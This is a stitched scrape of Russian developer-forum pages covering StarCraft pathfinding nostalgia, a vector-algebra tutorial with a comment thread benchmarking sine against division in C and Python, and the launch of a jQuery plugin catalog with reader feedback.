Согласен. Я вот сейчас даже не представляю, как может быть по-другому :)
darthslider
Эй… самый большой наземный юнит был не драгун, а ультралиск.
StrangeAttractor
Да уж, смотреть как компания ультралисков или драгунов взбирается на рампу — это как на огонь. А потом собирай шибко умных, что решили пойти в обход искать несуществующий второй подъем.
darthslider
Ультралиски были далеко не в каждой игре за зергов.
А драгуны — в 99% игр. Поэтому количество баттхёрта от управления ими зашкаливало ))
lany
Напомню, старкрафт был 256 цветов. Прибавить к этому неизометрический мир, который экономил место на карте, в отличии, например от Ege of Empares. В итоге, это та игра, из за которой я начал серьезно заниматься разработкой игр.
fil9
facepalm,

Age of EmpIres
Aingis
Я даже загуглил, что за игра))
fil9
=)
evil_random
%username%, если на твоем проекте уже почти год дедлайн «два месяца» — знай, от тебя что-то скрывают.
Aingis
… в компании Ion Storm в те годы разразился острый конфликт между руководством и разработчиками.… Очевидно, что в такой рабочей атмосфере трудно было сделать выдающуюся игру.

Однако. Но видимо собрались, раз уже в 2000 вышла их DeusEx.
Informatik
На скриншоте проходимые и непроходимые тайлы показаны зелёным и красным цветом.
Я, конечно, понимаю, кто автор, но на самом деле на скриншоте зелёным показаны рассматриваемые алгоритмом поиска пути границы тайлов (невооружённым глазом видно, что из них часть проходимы, а часть нет), а красным — непроходимые тайлы, хоть на глаз они и кажутся проходимыми.
Some tiles appeared passable but actually were not; below you can see the barracks building artwork does not fill the 48×48 area it sits on completely, leaving two tiles that appear passable but actually are not (red).
orionll
Да, драгуны протоссов те ещё говнюки.
BoberCoder
Да лан, у терранов голиафы были не лучше.
donRumatta
Меня почему-то в этом плане архонты больше раздражали)
Просматривая различный код по выводу на экран какой-нибудь даже примитивной графики, я заметил чрезмерную любовь некоторых программистов к тригонометрии. Часто код пестрит синусами, косинусами и арктангенсами там, где без них можно обойтись. Этим грешат даже хорошие программисты, которые способны спроектировать сложную систему, но почему-то не освоили вектора в объёме школьной программы. Буквально азов векторной алгебры хватает для решения многих насущных проблем. В этом топике я хочу провести краткий ликбез, напомнить основные действия с векторами на плоскости и в качестве примера решить две задачи без тригонометрии: поиск отражённого луча по падающему лучу и произвольно расположенному зеркалу, а также рисование наконечника стрелки. Если вы можете представить в голове рисование произвольно направленной стрелки без синусов и косинусов, смело пропускайте этот топик. Для остальных постараюсь объяснять попроще.

Теория

Итак, вектором (рассматриваем только двумерный случай) называется пара чисел:

Геометрический смысл — это отрезок на плоскости, для которого важна длина и направление, но не важно положение. То есть параллельный перенос не меняет вектора. Часто полезно отождествлять вектор с точкой (x,y) на плоскости — это всё равно что провести вектор из точки (0,0) в точку (x,y). Рассмотрим основные операции.
Сложение векторов:

Геометрический смысл изображён на картинке — мы перемещаем второй вектор, чтобы его начало совпало с концом первого, и результатом считаем вектор от начала первого до конца второго:

Умножение вектора на скаляр (число):

Геометрический смысл — удлинение вектора в соответствующее число раз, не меняя направление (разве что на противоположное, если a отрицательно). Умножение на -1 перевернёт вектор на 180°, не меняя длину. Деление вектора на число a — это умножение на 1/a.
Скалярное произведение векторов:

Очень важная штука. Перемножая два вектора, мы получаем число, которое характеризует длину проекции одного на другой. Перемножив два вектора, по знаку мы можем определить, направлены ли вектора в одну сторону (скалярное произведение положительно), направлены противоположно (скалярное произведение отрицательно) или перпендикулярны друг другу (произведение равно нулю). Не нужно для этого вычислять арктангенсы отношений координат каждого вектора и сравнивать углы. Два умножения, одно сложение и дело в шляпе.
Также важно, что скалярное произведение вектора самого на себя — это квадрат его длины (следствие теоремы Пифагора):

Вектор называют нормированным или единичным, если его длина равна единице. Нормировать произвольный ненулевой вектор — это поделить его на длину. Получится единичный вектор, сонаправленный исходному.
Скалярное произведение произвольного вектора на единичный даст точную длину проекции этого вектора на направление единичного. Чтобы получить не просто длину, а сам вектор-проекцию, надо умножить эту длину на наш единичный вектор:

В скобках скалярное произведение векторов a и e, а затем умножение вектора e на скаляр.
Что делать, если нам нужна проекция на ненормированный вектор? Чтобы нормировать, надо извлечь корень, а это долго и грустно. Однако, если мы приглядимся к формуле, то поймём, что нам нужно поделить результат на квадрат длины, то есть просто на скалярное произведение вектора на себя. То есть проекция a на произвольный ненулевой b будет вычисляться так:

Скалярное произведение двух единичных векторов — это косинус угла между ними. Если вдруг вам всё-таки потребовался угол между направлениями, проверьте, может, вам вовсе не угол нужен, а его косинус (или синус, который в ряде случаев можно получить из основного тригонометрического тождества). Тогда вам не потребуется ковыряться с арктангенсами.
Вот, собственно, вся базовая теория. Теперь попробуем её применить.

Вычисление отражённого луча

Отражённый луч может пригодиться не только для оптических задач, а ещё, скажем, при моделировании упругого столкновения объекта со стенкой, что незаменимо при программировании анимированных красивостей. Тогда вектор скорости объекта изменится как раз по закону отражения. Итак, у нас есть падающий вектор l и некоторая произвольная прямая, от которой производится отражение. Прямая может быть задана, к примеру, двумя точками. Требуется определить отражённый вектор r той же длины, что и l:

Зная, что угол падения равен углу отражения, можно придумать какой-то такой наивный алгоритм:
  • Посчитать разность координат точек прямой, взять арктангенс их отношения — получим наклон прямой к оси x.
  • Аналогично определить наклон падающего луча к оси x.
  • Посчитать разность этих углов, вычесть её из 90° — получим угол падения.
  • Добавить угол падения дважды и ещё 180° к углу наклона падающего луча — получим угол наклона отражённого луча.
  • Вычислить длину падающего луча и умножить на синус и косинус угла наклона отражённого луча — получим результирующий вектор.
Итого: два арктангенса, синус, косинус и квадратный корень.
Однако если мыслить векторами, то простое геометрическое построение даёт существенно более быстрое решение:

Две проекции вектора l на нормаль со знаком минус да плюс ещё один вектор l в точности дадут нам результат:

Делить не надо, если нормаль уже нормирована. Кстати, я не рассказал, как её определить. Если прямая задана двумя точками (x1,y1) и (x2,y2), то вектор нормали (ненормированый) легко определяется вот так:

Иногда важен знак нормали, чтобы знать, какая сторона прямой «внешняя». В нашей задаче это неважно, вы в этом легко можете убедиться.
Кстати, полученная формула отражённого луча действует и в трёхмерном варианте, только нормаль надо определять уже для плоскости.

Рисование стрелки

Пусть заданы концы стрелки (x1,y1) и (x2,y2). Надо нарисовать усики фиксированного размера на конце (x2,y2). Посмотрим рисунок:

Здесь точка (x2,y2) обозначена буквой P. Необходимо вычислить координаты точек A и B, чтобы провести отрезки PA и PB. Будем считать, что нам задана продольная и поперечная длины усиков h и w. Внимательный читатель уже может сам предложить алгоритм: чтобы найти точку O, надо вычесть из P h, умноженное на единичный вектор вдоль стрелки (тут, похоже, без корня не обойтись, но он нужен всего один раз!). А затем A и B уже определяются, добавляя к O вектор нормали, домноженный на w и −w. Заметьте, что мы нигде не определяли угол раствора стрелки (вообще это арктангенс отношения w и h), но он нам и не нужен: стрелка легко рисуется и так.

Заключение

В целом тригонометрия пригождается не так часто. Без тригонометрических функций вычисляется преломлённый луч по закону Снеллиуса. Если вам нужно повернуть сложный чертёж на определённый угол, вам потребуется только синус и косинус этого самого угла. Из них составляется матрица вращения, и на неё домножаются по очереди все точки. Тригонометрия на самом деле медленная, особенно когда её много. Поэтому не используйте её там, где она не нужна.
lany
Рейтрейсер напишите без тригонометрии, это веселее :-) Основы те же самые :-)
Error_403_Forbidden
В рейтрейсере тригонометрия будет необходима при вычислении координат текстуры для сферы, цилиндра,…
Error_403_Forbidden
Не знаком со способом трассирования лучей? Какие ещё треугольники в сфере?
JC_Piligrim
Error_403_Forbidden
Зачем это мне? Я прекрасно знаю про этот метод, т.к. писал его ещё в 1999 году
JC_Piligrim
Извините, промахнулся. Это для Horse, с трИугольниками в сфере. :)
cramen
любой учебник аналитической геометрии вам все расскажет о пространствах, матрицах и их геометрическом смысле.
WaReZ_MEN
Тригонометрия часто нужна тем кто пишет игры и различные редакторы для окон мебели и прочее а всем остальным она скорее всего и не нужна…
wishope
а графические редакторы и ГИС?
WaReZ_MEN
я их в прочее внес :)
kolen
Сеошникам и создателям дейтинг-стартапов точно не нужна!
elliadan
Действительно полезная статья!
amarao
На чём основывается утверждение, что sin(0.3) считается медленее, чем 1.2/0.33? И то и то FPU.
mace
Синусы считаются с помощью разложения в ряд, так что FPU придется произвести деление много раз, прежде чем получится результат. Сомневаюсь, что в современных FPU используются тригонометрические таблицы. Или все же используются?
П.С. По опыту олимпиад очень хорошо знаю, что решения на векторной алгебре практически всегда быстрее.
amarao
кэш процессора активно работает здесь.
как мне кажется — точнее было бы использовать разные коэфициенты, дабы исключить особенности процессоров
alexmay
>>> def sinus():
… last = time.clock()
… for i in xrange(1000000):
… x = math.sin(i)
… return time.clock() — last

>>> print sinus()
0.436118277602

>>> def delit():
… last = time.clock()
… for i in xrange(1000000):
… x = i/0.3
… return time.clock() — last

>>> print delit()
0.15221040663

В питонах деление быстрее

amarao
Упс, вчитался в ассемблер. Был неправ, гцц просто сожрало ненужную инструкцию.
Rulexec
Вы не учитываете:
а) оптимизацию компилятора, который может отсекать некоторые ветви кода, когда видит, что результат нигде не используется;
б) то что у вас результат накапливается в переменной b, которая быстро стремится к нулю. Функция sin(x) обрабатывает ноль как особый случай.
Попробуйте потестировать следующие примеры:
#include <stdio.h>
#include <math.h>

void main(){
	int a;
	double b = 1;
	for(a=0;a<50000000;a++){
		if(a&1) {
			b = sin(b);
		}
		else {
			b = sin(1-b);
		}
	}
	printf("%lf\n", b);
}


#include <stdio.h>
#include <math.h>

void main(){
	int a;
	double b = 1;
	for(a=0;a<50000000;a++){
		if(a&1) {
			b = b/0.3;
		}
		else {
			b = 0.3/b;
		}
	}
	printf("%lf\n", b);
}
amarao
real 0m1.534s
user 0m1.520s
sys 0m0.016s

real 0m0.306s
user 0m0.308s
sys 0m0.000s

Да, ок, убедили, был неправ.
Smerig
кстати, причина даже не в fdiv, а в том, что при делении gcc юзает mmx во все поля:


.L9:

        addl    $1, %eax

        divsd   %xmm1, %xmm0

        cmpl    $50000000, %eax

        je      .L8

.L4:

        testb   $1, %al

        jne     .L9

        movapd  %xmm1, %xmm2

        addl    $1, %eax

        cmpl    $50000000, %eax

        divsd   %xmm0, %xmm2

        movapd  %xmm2, %xmm0

        jne     .L4

.L8:

        movl    $.LC2, %edi

        movl    $1, %eax

        jmp     printf



сравнить с sin-версией, у которой таки call sin.


.L4:

        testb   $1, %bl

        jne     .L7

        movsd   .LC0(%rip), %xmm1

        subsd   %xmm0, %xmm1

        movapd  %xmm1, %xmm0

.L7:

        addl    $1, %ebx

        call    sin

        cmpl    $50000000, %ebx

        jne     .L4

        popq    %rbx

        movl    $.LC1, %edi

        movl    $1, %eax

        jmp     printf

        .cfi_endproc

amarao
добавь -ffast-math -m32 — получишь fsin и никаких xmm, а всё равно синус медленнее.
mace
… т.е. даже не mmx, а штатные AMD64 инструкции:

siyobik.info/index.php?module=x86&id=75
amarao
Надо все же понимать как оптимизируют компиляторы, прежде чем приводить такие тесты.
И зачем double? Если float быстрее и часто достаточен.
amarao
А-а-а! Хочу такой же процессор, как у Вас, чтобы миллиард синусов вычислял за 1 секунду! :))
А то мой Core i7 сто миллионов итераций секунд 5 крутит!

Если серьезно, боюсь, Ваш тест неправилен. Похоже, компилятор выкинул неиспользуемые вычисления в обоих случаях. На самом деле, тест с синусом работает в 6-7 раз медленнее, чем с делением.
jcmvbkbc
а вы уверены, что Ваши программы вообще работают?
в этих программах вычисляемое значение «b» в конечном итоге нигде не используется. Компилятор вполне мог скомпилировать программу без цикла вообще.

сделайте хотя бы вот так:

#include <stdio.h>
#include <math.h>
void main(){
double a;
double b=0;
for(a=0;a<1000000000;a++){
b=b+a/0.3;
}
printf("%f\n",b);
}

amarao
Предполагать, что либо подобное заранее не имеет смысла. Оптимизировать нужно только тогда, когда профайлер Вам показал, что sin есть узкое место. Вы не можете знать как преобразует Ваш код компилятор, а следовательно и делать заявления, что этот код отработает быстрее, чем вот этот.
dmbreaker
Это справедливо только тогда, когда написание более эффективного алгоритма требует больше усилий от программиста или же больший обьем кода. Если вы выбираете между двумя алгоритмами с одинаковой сложностью реализации — почему бы не реализовать тот, который, очевидно, будет работать быстрее. Кроме того, существует целый класс вычислительных задач, в которых сразу и без профайлера видно узкие места.
apangin
Статья не о низкоуровневой оптимизации, а о грамотном выборе алгоритмов. Из вас получится очень плохой архитектор.
nckma
Ну следующий шаг развития — целочисленные алгоритмы построения графики. Очень советую двинуться в этом направлении. Обещаю — вам понравится. Успехов! Отличная статья!
ixSci
Почему-то был уверен что в статье будет задача — определить выпуклость многоугольника. Простая задача, решив которую каждый поймет профит от использования векторов.
mace
напомните решение?
Aux
Для каждой вершины многоугольника компонента Z векторного произведения векторов выходящих из этой вершины в две соседние имеет один и тот же знак.
michurin
Да, векторное произведение векторов — тоже очень нужная штука, просто я не хотел перегружать статью :-)
ExxY
Забыл добавить: следует выбрать направление обхода вершин, и векторное произведение всегда брать в одном порядке, например вектор смотрящий против направления обхода умножать на вектор смотрящий по направлению.
Xao
Важное уточнение, кстати.
jcmvbkbc
Хорошая статья, но мне кажется, что программисты должны одинаково владеть обеими подходами,
и выбирать их в зависимости от требований задач. Бывают классы задач, которые удобно решать в полярных или сферических координатах, например.
lany
Спасибо!

Еще по теме: некто Винни пишет о том же самом: что вместо сложных вычислений можно использовать простые и быстрые.
Угол между двумя векторами: users.livejournal.com/_winnie/237714.html
Пересечение двух отрезков: users.livejournal.com/_winnie/152327.html#cutid1
jcmvbkbc
Спасибо за статью :) В последнее время веб-программирование утомляет и превращается в рутину, решил для разнообразия сделать игру в свободное время. И столкнулся с тем, что позабыл большую часть геометрии и алгебры :(

Кто-нибудь может посоветовать книги, статьи, сайты по алогоритмам в играх и 2D графике? В 3D пока не лезу, делаю 2D, но в целом хочется и красивых частиц туда добавить и другие интересные фишки типа теней, света и т.д.
pasha_golub
rghost.ru/2886683
Возможно, будет полезно
aumeena
С помощью основного тригонометрического тождества вы сможете однозначно определить синус по косинусу и наоборот лишь в некоторых случаях, когда нам, например, известно, что угол от -pi/2 до pi/2. В общем случае вы не сможете определить знак другой функции…

Для быстрого вычисления синуса и косинуса используется (и я использую) тангенс половинного угла, через который синус и косинус вычисляются с помощью обычных арифметических операций.
graninas
Да, вы правы. Результат вращения разный получится. Уберу про тождество.
А с тангенсом надо аккуратно — он в бесконечность может уйти, если поворачивать на 180°.
Foror
Эх, объясняли бы в школе и университете векторы подобным же образом. А то ведь, помню, зачем это нужно и где может применяться никто не удосуживался прояснить. В результате народ что-то зазубривал, сдавал, и благополучно забывал.
0re1
у нас в универе тут же был курс «ком. графики» где все эти матрицы и повороты показывали на примерах.
middle
у нас был просто курс «высшей математики». правда, факультет экономический, и потому часть задач имела отношение к бизнесу, но вот векторы прошли чем-то совершенно оторванным от реальности. пост сейчас прочла с большим интересом.
lany
И объясняют. Естественно, не на экономических факультетах.
Julles
Почему же «естественно»?
В хорошем учебном заведении любую излагаемую теорию должны иллюстрировать практикой. Если вам с учебным заведением/преподавателем повезло, я могу за вас лишь порадоваться.
Benderlidze
Потому что это выходит за рамки курса линейной алгебры. Линейная алгебра это чистая теория, которая применима в очень многих областях. Одна из этих областей — компьютерная графика, по которой есть отдельный курс. И вполне логично, что его не читают экономистам.
Julles
Статистики под рукой нет, но большинство людей, насколько мне известно, плохо воспринимают «чистую теорию». Наверняка и у вас были одноклассники, например, возмущавшиеся, что им необходимо изучать физику/химию/биологию, если им при поступлении в ВУЗ экзамены по этим предметам все равно сдавать не придется. Предположить как им могут пригодиться полученные знания в реальной жизни они не могли. Между тем, если бы преподаватель химии взяла бутылку «Спрайта» и вместе с учениками «расшифровала» состав, а преподаватель биологии обсудила преимущества подсолнечного масла с рекламным слоганом «не содержит холестерина», глядишь, мотивация была бы выше.
fyga
Простите, а насколько часто экономистам приходится писать программы для рисования стрелочек? И почему вы считаете, что пример использования линейной алгебры должен быть именно в рамках компьютерной графики? Вы знаете, что курс линейной алгебры читается всем техническим специалистам? И разные специалисты в будущем могут применять её в разных областях. Так что, примеры во всех возможных областях приводить? И сколько тогда будет занимать курс?
Julles
А с чего вы решили, что я просила примеры программ для рисования стрелочек или в рамках компьютерной графики? Наоборот, если уж преподаете линейную алгебру экономистам, будьте добры, поясните, где и как они ее смогут применять. Но наглядных примеров не было вообще, ни из какой области. Хотя, скажем, у преподавателя теории вероятностей с этим проблем не было, несмотря на то что вел курс у самых разных факультетов.
fyga
Ну если вопрос стоит таким образом… С теорией вероятности как-то проще. А где применять линейную алгебру экономистам я, например, придумать не могу.
Julles
Увы, далеко не всегда и не везде возможно отказаться от синусов и косинусов… Когда нужно быстро молотить косинусы и синусы в цикле — использую только таблицы до сих пор, ибо как заметили выше, fsin и fcos — тормозные операции даже на современных CPU.
Вот кстати набросал пример небольшой — вращающийся тор. Вряд-ли можно вращать точки не через чинус-косинус: Пример 3D Tor
fyga
С помощью матриц вращения — легко. Конечно, зависит от того, как вы задаёте траекторию, но в любом случае вам нужно не больше одного синуса и одного косинуса на каждый кадр, а это уже нестрашно.

Lookup tables — это тоже очень хорошо.
Julles
Как один из тех программистов который любит использовать тригонометрию:) Автору спасибо за статью, пойду векторную алгебру вспоминать:)
fyga
Я бы посоветовал аналитическую геометрию, а не векторную алгебру. Во всяком случае нас учили решать задачки по геометрии и тригонометрии векторами именно там, а на алгебре были совсем другие материи, не смотря на то, что одно тесно связанно с другим.
tronix286
Спасибо за совет.
lany
Ох, прям в тему пришлось, сейчас увлекся анаморфной живописью. Воспользовался предложением использовать векторы вместо тригонометрии — преобразования вышли более наглядны, а программа на их основе работает несколько быстрее своего аналога.
Sone
а угол вектора (0,0) -> (x,y) можно как-то вычислить не прибегая к atan2?
XaBoK
Главный вопрос — не можно ли, а нужно ли. Как правило, в большинстве случаев не нужно. Если вам кажется, что нужно, возможно, вы что-то не учли.
Последние четыре года я работал верстальщиком в разных питерских веб-студиях.

От полуподвальных контор из 3-5 человек до больших фирм 25-40 человек, работающих на рынке дорогих сайтов для крупных заказчиков. Но независимо от размера компании задачи были одни и те же.
  • нужно продать дизайн
  • сделать сайт, который не стыдно положить в портфолио
  • сделать оригинально, как еще не делали конкуренты

Таким образом, задачи верстальщикам и дизайнерам ставились одинаковые: «давайте что-то креативное, свежее, интересное».

Я очень хорошо понимаю верстальщиков, дизайнеров и владельцев веб-студий, поэтому чтобы облегчить им поиск плагинов под готовый функционал и в то-же время показать что-то свежее, чего еще многие [возможно] не видели, решил уволиться отовсюду, и запустить проект Plugin Detector



В этой статье будет затронуто:


Список фич
  • рабочее демо — прямо на сайте! не нужно никуда ходить чтобы посмотреть как оно работает
  • рецензии и рейтинг позволяют получить более полное представление о плагине еще до его установки
  • для большинства плагинов есть ссылки на примеры внедрения в реальных проектах
  • каталог с категориями, тэгами и CMS (плагины, заточенные под конкретную CMS)
  • RSS всего сайта; RSS для каждой категории и тэга
  • у каждой демки короткий и понятный адрес, который можно послать по аське или вставить iframe’ом


Плагинов jQuery так много (на оф. сайте jquery несколько тысяч), что их появление и развитие просто невозможно отследить ни отдельно взятому дизайнеру или верстальщику, ни владельцу веб-студии. Отслеживание трендов в плагиностроении jQuery и выкладывание их на сайте в формате блога, одновременно систематизируя в каталоге, и есть задача сайта.

Краткое описание функционала



Рейтинг (up/down)
За каждый плагин можно проголосовать либо «за» либо «против».
Ваш голос отобразится на странице статистики.
Соотношение голосов «за» и «против» формирует средний балл от 0 до 10.
Данное голосование доступно анонимам



Рейтинг по рецензиям
При написании рецензии необходимо указать вашу оценку по четырем параметрам.
Написание рецензий доступно только зарегистрированным пользователям (залогиненным через социальные сети)



Предложение залогиниться для написания рецензии:


Каталог
Каталог состоит из трех разделов:
  • Тэги
  • Категории
  • CMS


Термины каталога отсортированы по количеству элементов в термине.
Цифры уже приелись, они не дают наглядности и как следствие — бесполезны.
Поэтому решил сделать подобие графика


Статистика

В рейтинге плагинов по голосам внедрил здешнюю,
круговую диаграмму на canvas,
написанную хабраюзером spmbt.
Он любезно согласился безвозмездно использовать данный скрипт в моем сайте.
Столбики слева показывают количество голосов за плагин, а круговая диаграмма — соотношение голосов «за» и «против».
Примечание: диаграмма не работает в старых браузерах



Лейблы для наглядности
В разделах «По рецензиям», «По рейтингу» и в похожих плагинах, сниппеты выглядят так:


Похожие плагины
Похожие плагины отображаются, если вы находитесь на странице плагина. Они ищутся на основании тэгов и категорий. Если данных классификации не хватает для того, чтобы показать шесть плагинов, недостающие добавляются в случайном порядке.



Меню демки


Сравнения однотипных плагинов

Иногда функционалом, который нам нужно реализовать, обладают сразу несколько плагинов.
Таблицы сравнения (которые будут постепенно дополняться и уточняться)
помогут принять решение и сократить утомительные процедуры по изучению сайтов разработчиков.



Если вы еще не устали ;) расскажу как создавался проект

С чего все началось


Последние два года мне часто приходилось глубоко зарываться в гугл, выискивая интересные решения на jQuery. Потом я передавал дизайнерам и менеджерам стопку ссылок на очередную порцию отобранных плагинов для возможного их применения в проектах.

Через какое-то время накопилось много ссылок и стало очевидно, что имеющиеся плагины нужно как-то систематизировать и опубликовать для легкого доступа сотрудникам компании. Так появилась закрытая корпоративная база знаний.

Разработкой и развитием корпоративной базы знаний (вики + каталог плагинов) я занимался примерно полгода, когда было свободное время между проектами. Однако отсутствие фидбека со стороны сотрудников (который мог бы мотивировать меня на дальнейшую разработку) заставило искать другие пути развития. Аудитория каталога была слишком маленькой (в компании было около 40 человек, к базе имело доступ около 15, но пользовалось ей от силы 5).

Каталог плагинов должен быть общедоступным

Со временем понял, что делать сложную базу для наполнения которой требуется коллосальное количество времени только ради одной компании — нецелесообразно. Я приостановил разработку корпоративной базы и начал проектирование нового ресурса, открытого для всех желающих. Этот ресурс стал второй версией,, возвращением к жизни идеи, зародившейся полтора года назад. Примерно два месяца ушло на разработку новой версии с нуля и первичное наполнение. При этом учел ошибки проектирования и использовал удачные наработки из первой версии.

Люди не знают, что «это» уже написано

Однажды во время собеседования на должность верстальщика в офис пришел более менее опытный кандидат. Среди прочего, он показал скрипт реализующий эффект вращения трехмерного дома. Его самопис (надо сказать, неплохо сделанный) с помощью мыши мог «вращать» дом.

На мой вопрос «если бы ты знал что есть плагин jQuery, в котором эта функциональность уже реализована, стал бы писать свое решение?» Немного замявшись, он ответил: «наверное использовал бы готовый». Что еще раз дало мне понять — люди просто не знают о существовании огромного пласта знаний: какой плагин для чего можно применить; как он называется и где лежит.

Плагинам jQuery нужны рецензии

− почему у «плагинов» хрома, фокса, айфона и андроида есть отзывы (рецензии), а у плагинов jQuery их нет?
Действительно несправедливо — подумал я и решил исправить эту недоработку.


Менеджеру и заказчику все равно, какими средствами реализован функционал, им важно чтобы оно работало.

Для разработчика наоборот, ведь именно он часто выбирает способ реализации (по крайней мере, так было в компаниях, где я работал). Поэтому в рецензиях разработчик может найти ценный опыт использования плагина другими, может узнать о «подводных граблях» заранее и поделиться комментарием или замечанием о плагине с другими. Сравнить плюсы и минусы двух плагинов прежде, чем скачать и распаковать исходник с сайта разработчика… мне кажется это просто круто. Когда только начинал работать с jQuery, много времени убил просто потому что никто не подсказывал и не направлял, а поиск не дает исчерпывающего ответа что и как лучше сделать.

Маркетинг

Однако не только верстальщикам и дизайнерам данный ресурс будет полезен. Менеджеры, владельцы студий, а также сами заказчики или владельцы сайтов могут пользоваться им для того, чтобы знать какие возможности им предоставляет современная веб-индустрия. Заказчик может самостоятельно ознакомившись с материалами сайта прийти к разработчику и сказать: «хочу вот эту штуку!».

В некоторых случаях нет ничего плохого в том, что заказчик может сам найти плагин и попросить реализовать именно его.

Менеджер проектов всегда рад, когда заказчик наконец понял, чего он хочет. И речь идет даже не о формальном утверждении макетов и ТЗ, а о реальном удовлетворении фундаментальных потребностей заказчика и его бизнеса. Даже когда все десять раз утверждено, задизайнено, сверстано и запрограммлено, заказчик может внезапно™ осознать, что на самом деле он хочет… все переделать! И это происходит не потому что заказчик такой плохой а потому что понимание чего-же он хочет приходит когда он видит уже что-то готовое.

Чтобы уменьшить вероятность таких «озарений», я предлагаю давать заказчику ссылку на сайт еще до того, как утверждаются первые макеты. Чтобы он посмотрел возможные варианты, сравнил различия, “осознал” это и сделал более осмысленный выбор под чутким руководством самого разработчика.

Нужно ли давать заказчику свободу выбора?

С одной стороны, заказчику нравится выбирать и чувствовать себя участником процесса. Это доставляет ему радость и помогает облегчить процесс расставания с деньгами. С другой стороны, заказчик не всегда понимает уместен ли плагин в каком-то конкретном контексте, и бездумное «хочу» может негативно сказаться на итоговом качестве сайта.

Почему использовать плагины выгодно?
Плагины уже готовы к употреблению: прикрутить плагин к верстке и движку — относительно небольшая задача по сравнению с его фундаментальной разработкой. Вы тратите относительно немного ресурсов для внедрения плагина, но получаете положительный эффект (довольный заказчик, интересное портфолио), намного превосходящий эти затраты.

Выбор плагина для заказчика — это его творчество, его вклад, который для вас почти ничего не стоит, потому что выбор происходит на этапе, когда еще ничего не сделано. Верно?

Я продолжаю думать над тем, как помочь заказчику определиться со своими желаниями, и над тем, чтобы это «определение» не вызывало головной боли у разработчиков



PS
Если вы увидете в интернете крутой пример, и захотите узнать как это сделано
или какими средствами можно реализовать подобное
(если вас не устраивает оригинальный инструмент)
— пишите мне на почту или любым другим способом.
У меня в закладках лежит много ссылок на плагины, которые еще не опубликовал,
но уже произвел первичные тесты.

PPS
Сайт пока что не рассчитан на мониторы 1024 px в ширину (по статистике их 4-5%), но в будущем я постараюсь это исправить. Однако необходимо иметь ввиду, что некоторые демки больше тысячи в ширину. В ие не смотрел — не обессудьте. Позже девятку подтяну, на восьмерку забил.

UPD1
обновленные результаты голосования по профессии:



результаты голосования по желаемым категориям на сайте:



UPD2
Перебои в работе сайта устранены, см комменты ниже
Теперь держу открытым шелл, чтобы зачищать access.log до того как он заполнит все место на диске
infire
спасибо за проект. весьма полезно
mariner
особенно улыбнула надпись о том что я должен выбросить на свалку свой FF, т.к. он что-то там не поддерживает в СSS3
developer
petrovnn, огромное спасибо за действительно необходимый сервис.
Очень часто приходилось сталкиваться с трудностями поиска нужного плагина, когда собственной базы закладок не хватало.

Есть ли способ отправить donate? И планируете ли платную подписку?
На такой качественный сервис было бы глупо зажимать, даешь дальнейшее развитие!
wet
От символического пожертвования не откажусь, т.к. детектор и bestmaps.ru/ пока что мой единственный способ заработка.

Вот кошелек на яндексе, вебманей пока нет.
41001183483461

PS
Хех, прям чувствую себя Джимми Уейлсом :)
petrovnn
Да, и насчет платной подписки — я думл об этом не раз, но считаю это мало перспективным т.к. контент не эксклюзивный.

Вот если-бы я делал свои мега-крутые эксклюзивные плагины и продавал их — тогда другое дело. Примернов много. Люди продают плагины для WP (Flux-slider), продают платные темы для галерей (galleria), или делают сами плагины платными (Ajax-zoom, Aviaslider ) и могу еще много перечислить платников

А так, по названию любой может нагуглить плагин на сайте разработчика или гитхабе — бесплатно.

Другое дело что эксклюзивна может сама информация (само название плагина), которое я нахожу в поиске, проводя там большую часть рабочего времени. В поиске нужно много сидеть, чтобы выискать то, на что может другим не хватает времени (программинг, верстка, в общем служебные обязанности). Но тем не менее не считаю эту уникальную информацию (нагуглил название плагина) настолько весомой, чтобы за нее платить.

Есть другие способы заработка. Например когда тематический User Generated Content индексируется — из поисковиков приходит много людей. Вы знаете, что 70% посещаемости хабры — это переходы из поисковиков? По крайней мере так утверждает нетчарт — я вполне доверяю этому сервису.

Поэтому моя задача, не пытаться людей ограничить и доить с них деньги, а наоборот, дать как можно больше свободы; дать возможности участвовать в создании контента — это надежнее, мне привычнее, и как-то душевнее :)

Была еще идея сделать платную услугу типа «установка плагина на ваш сайт за 1000руб». Но идея заглохла, т.к. мне кажется, что люди едва-ли будут доверять незнакомому разрабу, которому нужен доступ к FTP, да еще предоплата. Я настроен по отношению к этой идее скептически, но если кто-то считает иначе — с удовольствием выслушаю доводы.

Есть еще один вариант монетизации, но он пока засекречен ;)
petrovnn
plugins.jquery.com — помойка редкостная, гуглом и то эффективней информацию о плагинах искать, особенно по stackoverflow)
BSDaemon
Ресурс просто привет из 90-х. Как раз для самого популярного js фреймворка.
Ну хоть кого-то он устраивает :)
tibalt
Большое спасибо, такого каталога сильно не хватало.
dadon
>сделать сайт, который не стыдно положить в портфолио

ушел из сайтостроительства (!=веб-разработки), потому что стыдно было копипастом заниматься и эксплуатировать клиентское «ух ты, прикольный виджет, я тоже у себя так хочу»
BSDaemon
еще каждый думает что его сайт такое чудо оригинальное хотя на самом деле все они одно и тоже…
nill
Спасибо. полезно.
spbcypher
Стоит зафиксировать ссылку «демо». Всегда на следующей строке за именем плагина — отличное место.
bw3d
Это очень правильное замечание.

Думал об этом не раз, но пожалел вертикального пространства. Как вариант можно сделать слева под маленькой картинкой плагина, или сверху. Попробую разные варианты, посмотрю как будет лучше смотреться.

Спасибо!
gz0t
Спасибо! Хороший ресурс!
dmomen
Спасибо, отличный ресурс. Все плагины наглядно показаны в действии, сайт достоин уважения.
Желаю дальнейшего развития.

petrovnn
Лучик поноса за два(!) алерта с сообщением «Выбросте свой браузер на помойку, потому что он не поддерживает CSS3 transitions».
Во первых я свой основной FF 3.6.x в обозримом будущем менять не собираюсь, при необходимости могу сайт и в хроме открыть, а свежие FF мне не нравятся.
Во вторых достаточно и одного сообщения
В третьих алерты это слишком брутально, пока OK не нажмешь ничего не сделать, да еще и звуки издают :/

Не нравится броузер? Сообщайте не так навязчиво, есть куча вариантов помимо противных алертов.
petun
Извиняюсь что задел ваши чувства. Уважаю 3.6 сам очень долго на нем сидел. Только попап этот сделал разработчик плагина, я лишь перевел на русский.

Пардон, если обидел в общем :)

Есть такие варианты:
1. можно перевести не так обидно
2. можно сделать флаг «не работает в файерфокс 3.6 и ниже» ну наподобие как сделано с ИЕ8, такой красный знак. Тогда будет заранее понятно, что он не работает в фоксе 3.6

А два алерта потому что две демки на странице, да, это плохо, я обязательно подумаю что с этим можно сделать.

… когда отобъюсь от хабраэффекта!
schepetkov
